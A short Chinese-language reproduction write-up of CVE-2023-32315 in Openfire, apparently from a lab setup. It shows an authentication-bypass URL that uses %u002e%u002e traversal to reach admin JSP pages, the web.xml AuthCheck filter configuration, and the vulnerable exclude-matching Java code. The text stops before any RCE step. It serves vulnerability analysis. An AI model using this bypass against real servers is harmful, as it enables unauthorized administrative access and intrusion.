CVE-2023-32315从未授权到RCE复现分析

http://192.168.95.130:9090/setup/index.jsp

http://192.168.95.130:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

/setup/setup-s/%u002e%u002e/%u002e%u002e/*.jsp

<filter-mapping>        <filter-name>AuthCheck</filter-name>        <url-pattern>*.jsp</url-pattern>    </filter-mapping>            <filter>        <filter-name>AuthCheck</filter-name>        <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>        <init-param>            <param-name>excludes</param-name>            <param-value>                login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp            </param-value>        </init-param>    </filter>

xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java

public static boolean testURLPassesExclude(String url, String exclude) {        if (exclude.endsWith("*")) {            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {                // Now make sure that there are no ".." characters in the rest of the URL.                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {                    return true;                }            }